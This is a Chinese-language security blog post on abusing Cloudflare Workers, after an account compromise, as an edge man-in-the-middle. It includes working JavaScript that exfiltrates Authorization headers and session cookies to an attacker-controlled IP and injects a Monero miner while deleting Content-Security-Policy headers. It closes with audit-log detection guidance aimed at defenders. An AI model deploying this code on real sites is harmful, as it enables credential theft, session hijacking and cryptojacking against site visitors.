边缘中间人攻击：滥用Cloudflare Workers的技术剖析

本文深入探讨攻击者如何滥用Cloudflare Workers边缘计算平台实施中间人攻击，包括窃取授权令牌、会话Cookie、注入恶意JavaScript代码等攻击技术，并提供实际代码示例和检测方法。

边缘中间人攻击：滥用Cloudflare Workers

Cloudflare Workers提供了一个强大的无服务器解决方案，能够在每个HTTP请求和响应之间运行代码。在本文中，我们将看到攻击者在入侵Cloudflare账户后如何滥用Workers来建立持久性并窃取敏感数据。

这里讨论的技术已在现实世界中被使用，但大多未被广泛关注。红队人员可以了解Cloudflare Workers的攻击性用途，蓝队人员则可以了解保护Cloudflare账户访问权限的重要性。

引言

需要明确的是：这不是Cloudflare或Cloudflare Workers的漏洞。Cloudflare不应该（甚至不能）采取任何措施。本文探讨了利用Workers设计本身以及更广泛的"边缘无服务器计算"模型来实现攻击目的的方法。

本文讨论的所有代码可在GitHub仓库找到：https://github.com/christophetd/abusing-cloudflare-workers

Cloudflare Workers

Cloudflare Workers允许在Cloudflare的边缘服务器上透明部署无服务器代码，位于客户端和您的最终目标（“源站”）之间。它支持多种语言，如JavaScript/TypeScript或Python。

Cloudflare Workers对于以编程方式重写请求和响应非常有价值，例如：

  • 如果您的网站不可用或正在部署中，将用户重定向到维护页面
  • 在HTML响应中动态重写链接
  • 在REST API响应中动态添加常见安全头
  • 在边缘阻止使用旧TLS版本的请求

滥用Cloudflare Workers

假设我们是一个刚刚入侵了Cloudflare账户的攻击者。首先，Cloudflare仅向其企业客户提供仪表板SSO，因此可以预期在其15.4万+客户（不包括免费账户）中，有数千个账户使用共享的、长期有效的密码。此外，过去也有关于Cloudflare漏洞被用于窃取API密钥的报告。最后，Cloudflare API密钥是静态的、长期有效的凭据，很容易意外泄露。

创建恶意Cloudflare Worker

我们首先创建一个基础的Worker，除了位于HTTP请求和响应之间外，目前不会执行任何操作。

1
2
3
4
5
6
7
8

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event, event.request));
});

async function handleRequest(event, request) {
    // 代理请求
    return fetch(request);
}

1
2

name = "my-malicious-worker"
compatibility_date = "2022-06-24"

然后，我们使用Cloudflare wrangler CLI将其部署到Cloudflare：

1
2
3
4
5
6
7

$ wrangler publish worker.js
 wrangler 2.0.15
--------------------
Total Upload: 0.51 KiB / gzip: 0.29 KiB
Uploaded my-malicious-worker (2.11 sec)
Published my-malicious-worker (1.73 sec)
  my-malicious-worker.christophetd.workers.dev

我们的Worker现已部署，但尚未代理流量。为此，我们将其与目标区域的DNS条目关联，或添加"路由"触发器。

或者，我们可以使用Cloudflare API：

1
2
3
4
5

curl - X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
     -H "X-Auth-Email: $CF_EMAIL" \
     -H "X-Auth-Key: $CF_API_KEY" \
     -H "Content-Type: application/json" \
     --data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'

现在我们有了"中间人Worker"，让我们看看一些对攻击者有价值的用例。

窃取授权令牌

客户端发送的Authorization HTTP头通常包含OAuth令牌、JWT或API密钥等凭据。当HTTP请求中设置了Authorization头时，让我们窃取它并将其发送到攻击者控制的远程服务器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  return fetch(request);
}

async function stealAuthorizationHeader(request) {
  const authz = request.headers.get("Authorization")
  if (authz) {
    await log(`authorization header: ${authz}`)
  }
}

async function log(data) {
  // 将任意数据发送到攻击者控制的远程服务器
  await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
}

在第一个包含Authorization头的HTTP请求上，攻击者控制的服务器将收到：

1

authorization header: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJuYW1lIjoiUmljayBBc3RsZXkiLCJnaXZlc1lvdVVwIjpmYWxzZSwibGV0c1lvdURvd24iOmZhbHNlLCJ0ZWxsc0xpZXMiOmZhbHNlfQ

窃取Cookie

Cookie也非常有价值，因为它们通常是会话标识符，可用于冒充任何用户的身份。它们最初由服务器设置（HTTP响应中的Set-Cookie头），然后由客户端发送回来（HTTP响应中的Cookie头）。让我们同时窃取两者：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

async function handleRequest(event, request) {
  await stealAuthorizationHeader(request);
  response = await fetch(request);
  await stealCookies(request, response);
  return response;
}

async function stealCookies(request, response) {
  cookies = response.headers.get("Set-Cookie")
  if (cookies) {
    await log(`cookies sent by server: ${cookies}`);
  }

  cookies = request.headers.get("Cookie")
  if (cookies) {
    await log(`cookies sent by client: ${cookies}`);
  }
}

攻击者输出示例：

1
2

cookies sent by server: sessionId=3f0cff1d3cc4642e15835d7304d453cc; Max-Age=2592000; Secure; Path=/; Domain=somewhereinthe.cloud
cookies sent by client: cf_use_ob=0; sessionId=3f0cff1d3cc4642e15835d7304d453cc

注入恶意JavaScript代码

窃取敏感数据很好，但在网站提供的每个页面中注入挖矿程序怎么样？

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

async function injectMaliciousScript(originalResponse) {
  // 仅在HTML响应中注入我们的脚本
  if (!originalResponse.headers.get("Content-Type").includes("html")) {
    return originalResponse;
  }

  originalHtml = await originalResponse.text();
  // 要注入的恶意脚本
  const script = `
    <script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
    <script>
      server = "wss://f.xmrminingproxy.com:8181";
      var pool = "moneroocean.stream";
      var walletAddress = "PUT YOUR WALLET ADDRESS HERE";
      var workerId = ""
      var threads = -1;
      var password = "x";
      startMining(pool, walletAddress, workerId, threads, password);
      throttleMiner = 20;
    </script>
  `
  modifiedHtml = originalHtml.replace("</body>", script + "</body>")
  modifiedResponse = new Response(modifiedHtml, originalResponse)
  return modifiedResponse
}

如果受害站点有严格的内容安全策略阻止内联或不受信任的脚本怎么办？我们是中间人，所以我们可以简单地删除Content-Security-Policy头！

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

async function injectMaliciousScript(originalResponse) {
  // ...
  modifiedResponse = new Response(modifiedHtml, originalResponse)

  // 摆脱任何会阻止我们脚本的烦人内容安全策略
  if (modifiedResponse.headers.get("Content-Security-Policy")) {
    modifiedResponse.headers.delete("Content-Security-Policy")
  }

  return modifiedResponse
}

其他潜在滥用

  • 选择性目标定位：基于客户端IP或平台表现不同行为
  • 钓鱼攻击：透明地代理到合法网站的请求，动态重写响应链接并窃取凭据
  • 重写支付信息：等待响应中出现类似IBAN或加密货币地址的内容，并将其替换为攻击者拥有的地址

现实世界中的记录使用

在两个真实世界事件中记录了攻击者滥用Cloudflare Workers动态重写HTTP响应的情况。

2021年12月，攻击者入侵了Badger的Cloudflare API密钥。然后，引用Badger自己的事后分析：

在11月10日，攻击者开始使用他们的API访问权限通过Cloudflare Workers将恶意脚本注入到app.badger.com的html中。该脚本拦截web3交易并提示用户允许外部地址批准操作其钱包中的ERC-20代币。

2020年，Sucuri报告称韩国攻击者使用Cloudflare Worker在请求者是搜索引擎时动态向网页添加链接。目标是执行SEO垃圾邮件并提高第三方网站的声誉。

检测Cloudflare账户中的恶意活动

Cloudflare提供其控制平面的审计日志，可用于识别可疑活动。当创建新的Worker时，它会生成类型为script_create的事件。

当有人将Worker绑定到路由（route_create）或创建指向Worker的DNS记录（rec_add）时，它也会生成事件。

更广泛地说，Cloudflare提供了几种可用于检测潜在恶意活动的事件类型，总结在下表中。

事件 事件代码
创建了新Worker script_create
Worker被绑定到路由 route_create
创建了DNS记录 rec_add
创建了用户API令牌 token_create
用户API令牌被轮换 token_roll
查看了账户范围的API令牌 API_key_view
成功认证到Cloudflare仪表板 login

如果您有Cloudflare企业计划，可以使用各种集成将这些审计日志发送到您选择的SIEM或日志管理平台。否则，您可以从仪表板和API查看这些日志。

攻击者滥用Cloudflare Workers的其他方式

多年来，攻击者还一直滥用Cloudflare Workers作为分层命令和控制（C2）基础设施的代理，或作为托管钓鱼页面的简单方式。

恶意软件：Cloudfall、Blackwater、Astaroth 攻击者组织：APT41、SparkingGoblin 钓鱼：Microsoft、Yahoo、UPS、Adobe、Paypal、AT&T等

结论

攻击者将继续利用Cloudflare Workers实现恶意目标，正如他们在过去几年中对钓鱼和C2基础设施所做的那样。他们可能会更频繁地使用Workers的核心功能来注入恶意JavaScript有效负载并窃取敏感数据。与此同时，蓝队有望确保其Cloudflare账户得到适当保护并监控可疑活动。

comments powered by Disqus
© 2020 - 2025 qife
使用 Hugo 构建
主题 Stack 由 Jimmy 设计
本站总访问量次 本站访客数人次